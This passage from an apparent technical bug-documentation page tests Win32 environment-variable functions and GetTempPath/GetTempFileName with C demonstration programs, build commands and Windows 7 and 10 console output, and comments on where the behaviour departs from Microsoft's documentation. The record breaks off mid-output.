		if (!SetEnvironmentStrings(L"__CD__=..\\*\0__APPDIR__=.\\?\0NUMBER_OF_PROCESSORS=\0FIRMWARE_TYPE=€\0BLUNDER=Blunder\0"))
			PrintConsole(hError,
			             L"SetEnvironmentStrings() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			SetLastError(~0UL);
			do
			{
				if (!SetEnvironmentVariable(szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"" : NULL))
					PrintConsole(hError,
					             L"SetEnvironmentVariable(\"%ls\", %ls) returned error %lu\n",
					             szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL", dwError = GetLastError());
				else
					PrintConsole(hError,
					             L"SetEnvironmentVariable(\"%ls\", %ls) succeeded\n",
					             szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL");
				dwBlunder = GetEnvironmentVariable(szVariable[dwVariable],
				                                   szBlunder,
				                                   sizeof(szBlunder) / sizeof(*szBlunder));
				if (dwBlunder == 0UL)
					PrintConsole(hError,
					             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
					             szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), dwError = GetLastError());
				else
					PrintConsole(hError,
					             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
					             szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), szBlunder, dwBlunder);
			}
			while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
			lpBlock = GetEnvironmentStrings();
			if (lpBlock == NULL)
				PrintConsole(hError,
				             L"GetEnvironmentStrings() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				for (lpBlunder = lpBlock;
				     lpBlunder[0] != L'\0';
				     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
					continue;
				if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
					PrintConsole(hError,
					             L"WriteConsole() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (dwError ^= dwBlunder)
						dwError = ERROR_WRITE_FAULT;
				//	else
				//		dwError = ERROR_SUCCESS;
				if (!FreeEnvironmentStrings(lpBlock))
					PrintConsole(hError,
					             L"FreeEnvironmentStrings() returned error %lu\n",
					             dwError = GetLastError());
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601]
GetEnvironmentVariable(NULL, NULL, 0) returned error 203
SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded
GetEnvironmentVariable("FIRMWARE_TYPE", 0x0051F9A8, 1234) returned error 4294967295
SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded
GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0051F9A8, 1234) returned value '4' of 1 characters
SetEnvironmentVariable("__APPDIR__", "") succeeded
GetEnvironmentVariable("__APPDIR__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
SetEnvironmentVariable("__CD__", NULL) succeeded
GetEnvironmentVariable("__CD__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
SetEnvironmentVariable("=ExitCode", "") succeeded
GetEnvironmentVariable("=ExitCode", 0x0051F9A8, 1234) returned error 4294967295
SetEnvironmentVariable("", NULL) returned error 87
GetEnvironmentVariable("", 0x0051F9A8, 1234) returned error 203
=ExitCode=
__APPDIR__=
FIRMWARE_TYPE=
BLUNDER=Blunder
0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203)
Error message text: The system could not find the environment option that was entered.
CertUtil: -error command completed successfully.
            Note: the undocumented immutable
            dynamic system environment variables
            NUMBER_OF_PROCESSORS, __APPDIR__ and
            __CD__ were introduced with Windows Vista
            and Windows Server 2008 – their values are the
            number of processor cores, the path name of the
            application directoryand the path name of the CWD, both with a trailing backslash.
Microsoft Windows [Version 10.0.26100.1712]
GetEnvironmentVariable(NULL, NULL, 0) returned error 203
SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded
GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 1234) returned value 'UEFI' of 4 characters
SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded
GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 1234) returned value '4' of 1 characters
SetEnvironmentVariable("__APPDIR__", "") succeeded
GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
SetEnvironmentVariable("__CD__", NULL) succeeded
GetEnvironmentVariable("__CD__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
SetEnvironmentVariable("=ExitCode", "") succeeded
GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 1234) returned error 4294967295
SetEnvironmentVariable("", NULL) returned error 87
GetEnvironmentVariable("", 0x00AFFA8C, 1234) returned error 203
=ExitCode=
__APPDIR__=
FIRMWARE_TYPE=
BLUNDER=Blunder
0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203)
Error message text: The system could not find the environment option that was entered.
CertUtil: -error command completed successfully.
            FIRMWARE_TYPE
            Note: the undocumented immutable
            dynamic system environment variable FIRMWARE_TYPE was
            introduced with Windows 8 and
            Windows Server 2012 – its value is
            Legacy if the computer was booted via the legacy
BIOS, else
            UEFI.
         CAVEAT: while the Win32 functions
            GetEnvironmentStrings()
            and
            SetEnvironmentStrings()
            read respectively write a process environment block containing these
            environment variables and the Win32 function
            SetEnvironmentVariable()
            writes them into or removes them from a process environment block,
            the Win32 function
            GetEnvironmentVariable()
            does not read them from a process environment
            block, but yields their current dynamic value instead!
        
 OUCH¹: the Win32 function
            GetEnvironmentVariable()
            returns 0 for an environment variable with empty value, but fails to
            (re)set the Win32 error code 0 alias
            ERROR_SUCCESS
            to indicate no error!
        
 OUCH²: contrary to the highlighted statements
            of both MSDN
            articles cited above, the Win32 functions
            GetEnvironmentVariable()
            and
            SetEnvironmentVariable()
            support an environment variable name containing an equal sign!
        
 OOPS¹: while the Win32 function
            SetEnvironmentVariable()
            returns the Win32 error code 87 alias
            ERROR_INVALID_PARAMETER
            for an empty environment variable name, the Win32
            function
            GetEnvironmentVariable()
            returns the Win32 error code 203 alias
            ERROR_ENVVAR_NOT_FOUND
            instead.
        
 OOPS²: contrary to the highlighted statement
            of the MSDN
            article cited above, the Win32 functions
            GetEnvironmentStrings(),
            GetEnvironmentVariable(),
            SetEnvironmentStrings()
            and
            SetEnvironmentVariable()
            support an unsorted environment block!
        
ExpandEnvironmentStrings()
            and
            ExpandEnvironmentStringsForUser()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
GetTempPath()
            states:
        Retrieves the path of the directory designated for temporary files.OOPS: in addition to the blunder demonstrated hereafter, this documentation fails to specify that[…]DWORD GetTempPath( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.
[…]
The maximum possible return value is MAX_PATH+1 (261).
[…]
The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:
- The path specified by the TMP environment variable.
- The path specified by the TEMP environment variable.
- The path specified by the USERPROFILE environment variable.
- The Windows directory.
lpBuffer can be 0 alias NULL if
            nBufferLength is 0 too.
         Oops: there’s yet another (triple) omission
            in the documentation –
            The path specified by the […] environment variable.
            needs to be read as The absolute or relative path
            specified by the […] environment variable.
        
 CAVEAT: the default value of the machine-specific
            environment variables TEMP and TMP is
            %SystemRoot%\TEMP, and the default value of the
            user-specific environment variables TEMP and
            TMP is %USERPROFILE%\AppData\Local\Temp,
            i.e. both reference another environment variable. If this one is
            undefined during creation of the environment block, the respective
            substring %SystemRoot% or %USERPROFILE% is
            not replaced with the value of the referenced
            environment variable and thus preserved. In consequence the
            GetTempPath()
            function returns the literal string %SystemRoot%\TEMP
            respectively %USERPROFILE%\AppData\Local\Temp, which is
            a valid relative path name. Since a subdirectory
            with this path name does almost always not exist in the
            CWD, programs
            which rely on the existence of the path returned from the
            GetTempPath()
            function are subject to fail!
        
 The documentation for the Win32 function
            GetTempFileName()
            specifies:
        
Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.[…]UINT GetTempFileName( [in] LPCTSTR lpPathName, [in] LPCTSTR lpPrefixString, [in] UINT uUnique, [out] LPTSTR lpTempFileName );
[in] lpPathNameThe directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szVariable[] = {L"TMP", L"TEMP", L"USERPROFILE"};
const	LPCWSTR	szValue[] = {L"",
		             L" ",
		             L"  ",
		             L"   ",
		             L"€",
		             L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
		             L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
		             L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
		             L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
		             L"..",
		             L"..\\..",
		             L"..\\..\\..",
		             L"..\\..\\..\\..",
		             L"AUX",
		             L"AUX:",
		             L"CON:",
		             L"NUL:",
		             L"PRN:"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH + 2];
	DWORD	dwBlunder;
	DWORD	dwVariable = 0UL;
	DWORD	dwValue;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
		{
			memcpy(szBlunder, L"..", sizeof(L".."));
			dwValue = 0UL;
			do
				if (!SetEnvironmentVariable(szVariable[dwVariable], szValue[dwValue]))
					PrintConsole(hError,
					             L"SetEnvironmentVariable() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					dwBlunder = GetTempPath(sizeof(szBlunder) / sizeof(*szBlunder),
					                        szBlunder);
					if (dwBlunder == 0UL)
						PrintConsole(hError,
						             L"GetTempPath() returned error %lu\n",
						             dwError = GetLastError());
					else
					{
						PrintConsole(hError,
						             L"GetTempPath() returned pathname \'%ls\' of %lu characters for %ls=%ls of %lu characters\n",
						             szBlunder, dwBlunder, szVariable[dwVariable], szValue[dwValue], wcslen(szValue[dwValue]));
						if (GetTempFileName(szBlunder, L"tmp", 0U, szBlunder) == 0U)
							PrintConsole(hError,
							             L"GetTempFileName() returned error %lu\n",
							             dwError = GetLastError());
						else
						{
							PrintConsole(hError,
							             L"GetTempFileName() returned pathname \'%ls\'\n",
							             szBlunder);
							if (!DeleteFile(szBlunder))
								PrintConsole(hError,
								             L"DeleteFile() returned error %lu\n",
								             dwError = GetLastError());
						}
					}
				}
			while (++dwValue < sizeof(szValue) / sizeof(*szValue));
			if (SetEnvironmentVariable(szVariable[dwVariable], (LPCWSTR) NULL))
				continue;
			PrintConsole(hError,
			             L"SetEnvironmentVariable() returned error %lu\n",
			             dwError = GetLastError());
			break;
		}
		while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. on Windows 7 (or an earlier version) and
            evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters GetTempFileName() returned pathname '..\tmpB3CC.tmp' GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB3DD.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3EE.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3FF.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB414.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB432.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB456.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB477.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters GetTempFileName() returned pathname '..\tmpB499.tmp' GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB4BC.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB4DE.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB503.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB543.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB56F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB578.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB58F.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned pathname '..\tmpB5C6.tmp' GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB5E3.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Windows\tmpB5FD.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Windows\tmpB609.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Windows\tmpB623.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB654.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB67D.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB693.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetTempPath()
            returns 1 if the environment variable TMP,
            TEMP respectively USERPROFILE is empty or
            its value contains only blanks, but fails to (over)write its output
            buffer!
         OUCH²: the documentation for the
            Win32 function
            GetTempFileName()
            fails to specify that it appends a backslash to the directory name
            if it does not end with a backslash!
        
 OUCH³: although the directory name is valid,
            the
            GetTempFileName()
            function fails with Win32 error code 267 alias
            ERROR_DIRECTORY,
            i.e. The directory name is invalid.
 instead of the
            appropriate Win32 error code 3 alias
            ERROR_PATH_NOT_FOUND,
            i.e. The system cannot find the path specified.
 if the
            directory does not exist!
        
 OUCH⁴: on Windows 7 and earlier
            versions, the
            GetTempPath()
            function discards the environment variables TMP,
            TEMP and USERPROFILE if their value is not
            less than 130 = MAX_PATH ÷ 2
            characters!
        
 OUCH⁵: if the value of the environment
            variable TMP, TEMP respectively
            USERPROFILE is a
            DOS device name
            (with or without a trailing colon), the
            GetTempPath()
            function returns the corresponding Win32
            device name
            followed by a backslash instead of error code 267 alias
            ERROR_DIRECTORY!
        
 Execute the console application blunder.exe built in
            step 2. on Windows 8 (or a later version) and
            evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.26100.1712] GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters GetTempFileName() returned pathname '..\tmp8421.tmp' GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8432.tmp' GetTempPath() returned pathname 'C:\TEMP\' of 8 characters for 